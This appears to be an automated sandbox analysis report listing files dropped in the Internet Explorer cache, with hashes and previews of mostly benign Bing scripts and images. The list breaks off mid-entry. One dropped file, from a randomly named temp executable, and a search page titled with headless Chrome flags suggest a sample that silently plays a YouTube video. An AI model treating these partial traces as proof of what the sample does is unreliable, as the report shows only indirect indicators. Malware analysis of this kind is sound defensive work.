C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\kxeSzXDO1K1Yb2MpwwwpTr6hVI4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (34732), with no line terminators
Category:	dropped
Size (bytes):	34732
Entropy (8bit):	5.452487645923916
Encrypted:	false
SSDEEP:	768:+J0AmB7aPmB7aU1THyBVyD3NSrGyDQS+mZvUhM/4S8SrmB:+aaUaJCDA3DjHZv37n6
MD5:	E4FB9B839186660B1F729B8DF8C994B4
SHA1:	931792CD70CED4AD586F6329C30C294EBEA1548E
SHA-256:	6838611C8AB6539005E11C84CA308158F89A51DB57A62CAF21FAAB48BF576177
SHA-512:	625436BB52CBD7DF7ED03BE05FEA52C5D54B6CC15037D70C268D9598E648A22246DB902B9C6F097BA8B18BD924F6AB17120736285D54DCE13773237F1669853A
Malicious:	false
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",w="_RwBf",b="rwmrst",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redDotImage.png",k=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible,hasUsedCcpTrial:n&&n.RewardsSessionData&&n.RewardsSessionData.HasUsedCcpTrial}}re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lmeA0hrUVE25iemGsvw6twmDJgw[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (841), with no line terminators
Category:	dropped
Size (bytes):	841
Entropy (8bit):	5.164356246203931
Encrypted:	false
SSDEEP:	12:9bGk4aZBJKbeS0YeHTwnJw7+GbSVTJjnWU+YWogltaOHUPbpbvN:hpCbe9YwZbSZRB+YgruDdV
MD5:	48833DEA59BC0B37177AB4C6C233DFBB
SHA1:	966780D21AD4544DB989E986B2FC3AB70983260C
SHA-256:	DE9CCA3CD151B7DD74DA15992299C993D91A424083C1EFB2A948230E87FECB4B
SHA-512:	B7E00BD79148657CA517B959C48B4E7E1F70CC7D5EC9B30DF5FBD0A7F6E9275F16797C7414CAC30FA6972F958D4A64E3AC45DC7D9BE8FD517F66D44AA78207EE
Malicious:	false
Preview:	var AlgoInnovationAnchorUrlRedirect;(function(){function t(){function t(){var r=_d.querySelectorAll(n),t,u;if(r)for(t=0;t<r.length;t++)u=r[t],u&&sj_be(u,"click",i)}function i(n){var t,i;if(n&&(t=n.target,i="",t&&t.parentNode&&t.parentNode!=null&&t.parentNode.tagName==="A"&&t.parentNode.classList.contains("batgil"))){var e=t.parentNode,o=e.getAttribute("href"),s=o.split("#:~:text=")[0];i=u(o)?f(s,t.innerText):s+="#:~:text="+t.innerText;r(i)&&e.setAttribute("href",i)}}function r(n){return n&&/^https?:\/\/.+/.test(n)}function u(n){return n.indexOf("bing.com")>0&&n.indexOf("/ck/a")>=0?!0:!1}function f(n,t){var i,r;if(!n)return"";try{return i=n.match(/u=a1([^&]*)/),r="",i&&i.length>1&&(r=i[1]),window.atob(r)+"#:~:text="+t}catch(u){return""}}t()}var n=".tltg ";t()})(AlgoInnovationAnchorUrlRedirect\|\|(AlgoInnovationAnchorUrlRedirect={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lvCKZ07bEYtoYmY62ifMzVa0RIE[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:59:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.........................................................................................h......................E..T..r..D........@..H.F&....`5.e.%...."..U@C.r.e...5.-.`4".[.`.1C.$)..pZ.".;. .(..w...x.f..sU[....Y..<.:...b..=+.........n\.b)sv/4^`-.kN.;.v..X....Z......#_...N.....j..4.\......T..,.....B..&..L....^LcJ.KA.=....!iEY...!N....Z.:.d.i..F..d...sP.w=<..59]O..u.?..3...]i....F...C.X...[M..z..<...k..rL.UYr.jz.@ sTf..D8,5.+..<jWr..oL...<H.k;.A I.k)...'.y.j.uZ.,4......(.\HH.ByC..1.jt.X...Z.......w......`.v.TZ.M.f.J.}.F.e..Te.-N@S...+.].\..u-9..Xg .B.[M.$..'.ry....Zf...CV.D...S...65 `mH@#.j[.y."...r ).5.B\.o...B...Ee..Q@....,..)..u#..i.j.jAsT...[J.c_...'.....................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ni3MyKKVu9pK0SgY6gb6Z2NOGpg[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3814
Entropy (8bit):	7.634659202076907
Encrypted:	false
SSDEEP:	96:sQrbnTt8ATpTToooX6l4d309BEEGp0m1amWth0x/aA+9GnPoYXEcX:sS8AyJKl4xV0KamWtOb+SP0cX
MD5:	281570611F89219A970F2589F98A09DB
SHA1:	9E2DCCC8A295BBDA4AD12818EA06FA67634E1A98
SHA-256:	7BDAB4155253E159B748E2BE6CB1C0AF736F18D2A4DBDDF79D93D6219A3DE9DD
SHA-512:	FB9CAEE5B3FF8A3CE8C4D6D066CC0283A8A158E32131754CD9EFB1B4A25303CAA72FAE11C23E836B2A2F0D5005F0E39EB2A38D1D28CB81CAE5C1C818D77B80FB
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:43:45....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................... .. ..... .. .. ..$................H.............. ..$..H .. .....AY .....: ...P$..$.. .tXAI ......@....9..I...Rt....f$.Z....+..,.. .t@1.Q.O=..3.l.#.v..1gZ,...[..A&.y.....j....=-.{.[.....5t.y.q..T..t.UY...Z.,..]....{...bI<.4`..<].m'...D..9.......z5.....0G..U.b.e.qn6k7cwo......1G=......)n..g..1.vZ...jIu..9.c.uo=..>...r..-......2..g.V.Z\.{.^c:..Jj.uY....5-."V...?...(......................!..".. .12#0@ABp...............>.....n..>..z..z..n.' .\.J.-...u#.....c~.@d.......\|./..g..v....#..:a_....p=$Z.%.3..SN.G..Hi.._.W........L.........$.?..p_.w. ..e.h..A..9.-[..n.F.......Q.. .2.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nt6a1ZR520utsLoZmSYgwxdOPgI[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	606
Entropy (8bit):	5.268639530160161
Encrypted:	false
SSDEEP:	12:hc2AcBdEcv2Csu+IUhIlaq1YkOcAwI98NyeTgy8XTQHY2:hc2AcBSBZacr98XSDuY2
MD5:	0C2672DC05A52FBFB8E3BC70271619C2
SHA1:	9EDE9AD59479DB4BADB0BA19992620C3174E3E02
SHA-256:	54722CF65AB74A85441A039480691610DF079E6DD3316C452667EFE4A94FFD39
SHA-512:	DD2B3E4438A9DEAA6B306CBC0A50A035D9FE19C6180BC49D2A9D8CDBB2E25D9C6C8C5265C640AC362DC353169727F8C26503E11A8A061A2517A303F61D0CCD3C
Malicious:	false
Preview:	var sj_rra=function(n){var i="/rewardsapp/reportActivity",f=_w.location.search.substring(1),u=window.data_iid,r,t,e;i+=u&&u.length>0?"?IG="+_G.IG+"&IID="+u+"&"+f:"?"+f;r=window.rw_mqs_cg;r&&r.length>0&&(i+="&cg="+r,window.rw_mqs_cg=undefined);_w._H&&_w._H.mkt&&(i+="&src=hp");t=sj_gx();e="url="+escape(n)+"&V=web";t.open("POST",i,!0);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.onreadystatechange=function(){t&&t.readyState==4&&t.status==200&&t.responseText&&_w.sj_appHTML&&(sj_appHTML(document.body,t.responseText),sj_evt&&sj_evt.fire("serpThemeUpdatedByRewards"))};t.send(e)}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\pNapkjHZUfN9lRvYNW2dF2ZL9Ec[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (838), with no line terminators
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.10179630103155
Encrypted:	false
SSDEEP:	24:01rReu5mXKBj/BsKkRW5LuRWCfRM7ssdvcR:09wwDEw56w2+s6cR
MD5:	8C8B189422C448709EA6BD43EE898AFB
SHA1:	A4D6A99231D951F37D951BD8356D9D17664BF447
SHA-256:	567506D6F20F55859E137FCBD98F9E1A678C0D51192FF186E16FD99D6D301CFF
SHA-512:	6FAA73D59082065426769A27081CBEDCD22146EF948AFDD9A86801F205B2DDDC63E03AC5D555EF0AF23EF05901EBFFE7E8AADD82260EF505CB89D99E572FDF4A
Malicious:	false
Preview:	var CursorProgress;(function(n){function f(n){while(n&&n.nodeName!=="A")n=n.parentElement;return n}function e(n){var u,e,o,s;n.button!==0\|\|n.ctrlKey\|\|n.shiftKey\|\|(u=f(sj_et(n)),u!=null)&&u.getAttribute("role")!=="button"&&(r(),e=(u.getAttribute("href")\|\|"").trim().toLowerCase(),e!==""&&e.indexOf("javascript:")!==0&&e.indexOf("#")!==0)&&(o=u.getAttribute("target"),o===null\|\|o.trim()==="")&&(Lib.CssClass.add(u,t),s=_ge("b_content"),s!==null&&Lib.CssClass.add(s,t),i!==null&&(sb_ct(i),i=null),i=sb_st(r,5e3))}function r(){for(var i=_d.getElementsByClassName(t),n=i.length-1;n>=0;n--)Lib.CssClass.remove(i[n],t)}function u(){var r=_ge("b_content"),n,t,i;if(r!==null&&(n=r.getElementsByTagName("A"),n))for(t=0;t<n.length;t++)(i=n[t],i)&&sj_be(i,"click",e)}var t="b_CursorProgress",i=null;n.bind=u;u()})(CursorProgress\|\|(CursorProgress={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sbi[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines (33353)
Category:	dropped
Size (bytes):	50926
Entropy (8bit):	5.481034158120158
Encrypted:	false
SSDEEP:	768:okuL2ym/YIZE2u16tNz14nO2sya0FO7JUDWvjygz+YI2QFSOc+YIXFWCPP6bzAT8:9wPFSjyK4FWCqbwONiqP7Cte
MD5:	955CD92D56115099CC84FC09BE64E0AF
SHA1:	F178AC38CC62F25012C20A4FB8D16252EC580664
SHA-256:	31BEA937CCE6A2715B1FE154ABC2189FF65D9FFE259AA68CBCB95C35C183E82A
SHA-512:	4339DD8F9064609ECCFF38BAA5236330318E89185F1414E666859E76CA44781D0207E6B71D3404E062681322590634BB9BE9B7B10DFE5E03BC7ACF5F40F34734
Malicious:	false
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:18px;width:18px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\search[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (48370), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	219308
Entropy (8bit):	5.644592199214482
Encrypted:	false
SSDEEP:	3072:D3cXQQ1hufU9kR5zQ9oEYZ5BX73/bxKxYbJvjUHpHKDKBAk1mRhFSRcpMGDcUV/I:eQQ18sGRZzpz1xKhKKBLmaGDcj
MD5:	BDC3272C0E261714076510644600387D
SHA1:	E7D18BC276D5F947D1948186AD4541FE4291EF2E
SHA-256:	783B67AD250992BD52A17E528EACCBC8D7877391329CE6823A406AD47E0417A5
SHA-512:	1E4D402C5024739AA2950FEC2E51EB4D5E23E2F8A9DFF5665F07DAB1AABF5DE012E15E3C6A4A61570BE816AEDFFB4B2AA2CDAD193F152604993B38773DB84B4E
Malicious:	false
Preview:	<!DOCTYPE html><html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="http://schemas.live.com/Web/"><script type="text/javascript" nonce="4Ce/V/ikBWh5yuClj87uN4nuqtLqXuSYDYLjFuVs3yo=" >//<![CDATA[..si_ST=new Date..// </script><head> pc--><title>--headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY - Search</title><meta content="text/html; charset=utf-8" http-equiv="content-type" /><meta name="referrer" content="origin-when-cross-origin" /><meta name="SystemEntropyOriginTrialToken" content="A1L3tx5CzccqjN3lK6st/fXMwhf9EeokCPf8XCt0DVI8JPbg37BWq0zKvlqgkdm8YEUbthoGkC/xdR1+iIz4txAAAABxeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiTXNVc2VyQWdlbnRMYXVuY2hOYXZUeXBlIiwiZXhwaXJ5IjoxNzM5NzI0MzExLCJpc1N1YmRvbWFpbiI6dHJ1ZX0=" http-equiv="origin-trial" /><meta property="og:description" content="Intelligent search from Bing makes it easier to quickly find what you.re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\t6Bkpkzq5ckAnvfW2PY7kNOTPJ0[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.86807996961474
Encrypted:	false
SSDEEP:	6:A909cpDUDUBDhR9c2p83QVhXANO09c8k9Au9c2pHn:AocpwDUBhfc2W3YXANvcpiMc2Bn
MD5:	6C2C6DB3832D53062D303CDFF5E2BD30
SHA1:	B7A064A64CEAE5C9009EF7D6D8F63B90D3933C9D
SHA-256:	06B77EE16A2CD34ACD210B4F2B6E423762EA8874BB26AE5A37DB9DD01A00FF70
SHA-512:	BC2D115B53035B700D727AF9D7EFAF32DD2A39A2344F3F5FA1A82586BE849EC7803E8320661E66AB7DD2A17E64B7897E95BBD84502B91997FA46EBA4E67E8C7D
Malicious:	false
Preview:	function RewardsReportActivity(n){window.sj_rra&&sj_rra(n)}(function(){RewardsReportActivity(document.URL);sj_evt&&sj_evt.bind("acclink:updated",function(){typeof RewardsReportActivity!="undefined"&&RewardsReportActivity(document.URL)},1)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\weTZhMT4W5x_tgtmsDnFQb89lPY[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1580), with no line terminators
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.0552055236738624
Encrypted:	false
SSDEEP:	24:CFIaycqwxXvP6D0oagJXOd9TFlk2g8y7t/agPeC2RWgRWK5RWtYFGNKlZxvNGb30:5apDEDM8P2wgwK5wtnwlnNGbBpfGbVjN
MD5:	56AFA9B2C4EAD188D1DD95650816419B
SHA1:	C1E4D984C4F85B9C7FB60B66B039C541BF3D94F6
SHA-256:	E830AEB6BC4602A3D61E678B1C22A8C5E01B9FB9A66406051D56493CC3087B4B
SHA-512:	D97432E68AFDAA2CFAEFF497C2FF70208BD328713F169380D5AFB5D5EECD29E183A79BEC99664DBEE13FD19FE21EBAE7396315AC77A196BFB0AB855507F3DACF
Malicious:	false
Preview:	var Lib;(function(n){var t;(function(n){function u(n,t){var r,i;if(t==null\|\|n==null)throw new TypeError("Null element passed to Lib.CssClass");if(n.indexOf)return n.indexOf(t);for(r=n.length,i=0;i<r;i++)if(n[i]===t)return i;return-1}function f(n,u){if(n==null)throw new TypeError("Null element passed to Lib.CssClass. add className:"+u);if(!r(n,u))if(i&&n.classList)n.classList.add(u);else{var f=t(n)+" "+u;o(n,f)}}function e(n,f){var e,s,h;if(n==null)throw new TypeError("Null element passed to Lib.CssClass. remove className:"+f);r(n,f)&&(i&&n.classList?n.classList.remove(f):(e=t(n).split(" "),s=u(e,f),s>=0&&e.splice(s,1),h=e.join(" "),o(n,h)))}function s(n,t){if(n==null)throw new TypeError("Null element passed to Lib.CssClass. toggle className:"+t);i&&n.classList?n.classList.toggle(t):r(n,t)?e(n,t):f(n,t)}function r(n,r){var f,e;if(n==null)throw new TypeError("Null element passed to Lib.CssClass. contains className:"+r);return i&&n.classList?n.classList.contains(r):(f=t(n),f)?(e=f.split("

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\zeCxMEtVi23nUD1VnJIBRkRzb4g[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (3363), with no line terminators
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	5.195022922251816
Encrypted:	false
SSDEEP:	48:rVnoyUQXHE2ugs6SI7kVsP1mB88bTg7IYeYU5qnjRXpHNXhgkGq:Z+yhCPFy12dbTQ3k5GjZjr
MD5:	FABB77C7AE3FD2271F5909155FB490E5
SHA1:	CDE0B1304B558B6DE7503D559C92014644736F88
SHA-256:	E482BF4BAAA167335F326B9B4F4B83E806CC21FB428B988A4932C806D918771C
SHA-512:	CABB38F7961AB11449A6E895657D39C947D422F0B3E1DA976494C53203E0E91ADFC514B6100E632939C4335C119165D2330512CAA7D836A6C863087775EDAA9F
Malicious:	false
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},AccountLink;(function(n){function h(n,t){var i=a(n.accLinkRefreshEndPointUrl),r={url:i,requestType:"GET",onSuccess:t.onSuccess,onError:t.onError};v(r)}function s(n){var t=c(n);h(n,t)}function c(n){return{onSuccess:function(n){var e=sb_gt(),o=Math.floor(e/1e3)1e3,f;sj_cook.set(r,u,o.toString(),!0,"/");t("Refresh Account Link info Success");i("onRefreshAccountLinkInfoResponse","success");f={IsTenantAllowAccountLink:n.IsTenantAllowAccountLink,HasLinkedAccount:n.HasLinkedAccount};n.AccountLinkUpdated&&(t("fire acclink:updated"),sj_evt.fire("acclink:updated",f));n.HasLinkedAccount&&n.IsTenantAllowAccountLink&&i("onRefreshAccountLinkInfoResponse","hasActiveLinkedAccount")},onError:function(f,e,o){var s=sb_gt(),h=Math.floor(s/1e3)1e3,c=h-(n.refreshAccountLink

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\2NNJBOURscmq4VZboQzNBFyUAzM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (888), with no line terminators
Category:	dropped
Size (bytes):	888
Entropy (8bit):	5.1970220185324045
Encrypted:	false
SSDEEP:	24:2QiCUrgtI/QHnUrtrRIRJ7ea/TwH4Mnbx+yGow0N:SK44AIb/7QUH0N
MD5:	F1CF1909716CE3DA53172898BB780024
SHA1:	D8D34904E511B1C9AAE1565BA10CCD045C940333
SHA-256:	9ABAC0CBFA6F89106B66CD4F698EAD5CCBF615ECF8CD7E9E88567A7C33CFEC01
SHA-512:	8B641E93405565B4A57C051EDEFC8E02D6C929DDD4C52F9BFBD19C57896AA40426BF5ED6760DBD479719561C4F0A25BFC4102F0F49D3D308035C9CA90B1D0FCE
Malicious:	false
Preview:	(function(){function f(){var u=o(),i,t,f;if(u)for(i=s(u),t=0;t<i.length;t++)f=i[t].id.replace(n,""),Log&&Log.Log&&Log.Log("Info",r,f,!1,"Text",t.toString()),sj_be(i[t],"mousedown",e)}function e(t){var r=i(t.target),f;r!=null&&(f=r.id.replace(n,""),Log&&Log.Log&&Log.Log("Info",u,f))}function i(t){if(t!=null){var r=t.id;return r!=null&&r.indexOf(n)===0?t:i(t.parentElement)}return null}function o(){var n=_d.querySelectorAll(".b_scopebar > ul");return n&&n.length>0?n[0]:null}function s(i){for(var r,o,u=[],e=i.children,f=0;f<e.length;f++)r=e[f].id,r!=null&&r!==t&&r.indexOf(n)===0?u.push(e[f]):r!=null&&r===t&&(o=h(),u.push.apply(u,o));return u}function h(){var n=_d.querySelectorAll(".b_scopebar #b-scopeListItem-menu .b_sp_over_menu .b_scopebar_item");return Array.prototype.slice.call(n)}var n="b-scopeListItem-",t=n+"menu",r="DynScopeRank",u="DynScopeClick";sj_evt.bind("onP1",f)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\95z5wMy4UcfbSSSlSw780vQ5jKA[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5387
Entropy (8bit):	7.799957991588148
Encrypted:	false
SSDEEP:	96:sQ+bfdSpU7SG7bVFwZ1w2f7yXMAZpqdiCRf6LtoIJ7g0WRiKQS+FhIeEIboU3cq:sRdSpU7vbVFwZ11jIIO6M7JqoIZuz3cq
MD5:	69D162774F894FF8B920330E376B7A62
SHA1:	F79CF9C0CCB851C7DB4924A54B0EFCD2F4398CA0
SHA-256:	C9FAA34663FE19EB4D8C007BF00AD7C4BC993F70C9FC42A04801ECCDD59008F7
SHA-512:	9D0E7FA4AC408D9D7D86186E05258BDB615B04AE8EC0DF813C3307A646EC4F87AABA1FCD77914AEA1FFE3607B87BBCA2DCC5D18C076D8AECDEA1496910AEC87D
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:38:22....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.......................................................................................S&....1...\.g).l.....^S......^,I..c.7,..YX(."..>wiT.y.:^8........R.-)s..>.+@..c..V.[Af...T.........3........B.\|.~...A..\|..r.......(qC..m~..nb...r.LIU.i3.K..........y.]5..\W;b.:/F...v.OW.R^...y^}4._...I4.t....l......,.$.C.....6..IS..E...../..J...5...%....Z.eK.u....j.........*x.{..t.!....@,...}..W...X8.S.........X.Z...-.w..(.8...z..EC..\....8.m5...z....Y.!\...!@.<:b].-.i}.....?..%...=gE.VM..\.2CJ..kK.d...o.!..v...M.e..4,...l...Y0...V.[.g..r.....h.....[-..-.....J....9kA..L...#.!"."kO.;...R.2...)Mr...X8....G.;A..".!az..Ud.Ie......+..........................!34 "12..$0ABCD........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\Elj9SKh02Ay2Nb5FT55AI6DffEk[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (918), with no line terminators
Category:	dropped
Size (bytes):	918
Entropy (8bit):	5.212381384143468
Encrypted:	false
SSDEEP:	24:i2387E/Xv3qtMbKRgibYe9BqoGbKR7oGbY7oGbnewCY0ZWFU0fZy5c6MwQOR:dqtMbK7bLrGbKuGbjGbnXTWWSr5c6MwV
MD5:	341FC0ACD15DF6D8A064E4C3A896F65D
SHA1:	1258FD48A874D80CB635BE454F9E4023A0DF7C49
SHA-256:	4BC6635D4D95F9C05A91904B19370A40CC6E4C2AB43661C00615EDDADEFCF9EB
SHA-512:	6B552D786E782C36F17BEE1A6AE204F1E8C9F85BE5EB9ADAC1793D60B537CAD13228CB2D4299949F051E6BC364C2E5A4105DE9BBF2885F492EDB425CB14CE982
Malicious:	false
Preview:	var KeyPressScroll;(function(){function i(i){var u=i.key,f=document.activeElement,r,e,o;document.querySelector("cib-serp[mode='conversation']")\|\|document.querySelector(".b_selected")\|\|typeof i.composedPath=="function"&&(r=i.composedPath(),r&&r[0]&&(r[0]instanceof HTMLInputElement\|\|r[0]instanceof HTMLTextAreaElement))\|\|i.ctrlKey\|\|i.shiftKey\|\|i.metaKey\|\|i.altKey\|\|!u\|\|u.length!==1\|\|u===" "\|\|f instanceof HTMLInputElement\|\|f instanceof HTMLTextAreaElement\|\|f instanceof HTMLElement&&f.isContentEditable\|\|(typeof sj_log=="function"&&sj_log("CI.KeyPressScroll","KeyBoard_Triggered",u),n.value="",t.scrollIntoView({behavior:"smooth"}),t.style.display="block",e=_ge("sb_form"),e&&Lib.CssClass.remove(e,"form_sb_hidden"),n.focus(),n.click(),o=n.value,n.setSelectionRange(o.length,o.length))}function r(){n&&t&&sj_be(document,"keydown",i,!0)}var n=_ge("sb_form_q"),t=_ge("b_header");r()})(KeyPressScroll\|\|(KeyPressScroll={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\FKVHEQTC.htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\89TY9V9WIQJRU6EB7DK4LP.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.469999278451778
Encrypted:	false
SSDEEP:	3:N8DSLUxGTKSEIY/nN7n:2OLUxGF5YN
MD5:	7C9CDF67554CFF98AF8B1D1F0BD074A1
SHA1:	282F53D7915D8666E164CF9EBD54D67E081C9CCD
SHA-256:	1DE23C52A9785F1C164EDB5FB6452034099ECC5E444882CC533F60575EE0B282
SHA-512:	9E369D74CFBC6ADEE24983ACF5B59326D620EB590FAFA60888667D7B63449A096357396FB0676F9CBF976A078E6FD07F2EA7C370A89CC246831A2BDBFA72864E
Malicious:	false
Preview:	https://www.youtube.com/watch?v=wjIuS_rQQsY

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\GJDmKr3_TS3Qpm6KEL9UKUQKUO4[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	6817
Entropy (8bit):	7.859219052464007
Encrypted:	false
SSDEEP:	192:sO4w46jQPjxS2VUxVMkjqHqHfGaOUE37ri:sO346jojxR0WKHfoe
MD5:	0C41EE31B04E978B4882D17690F03A3A
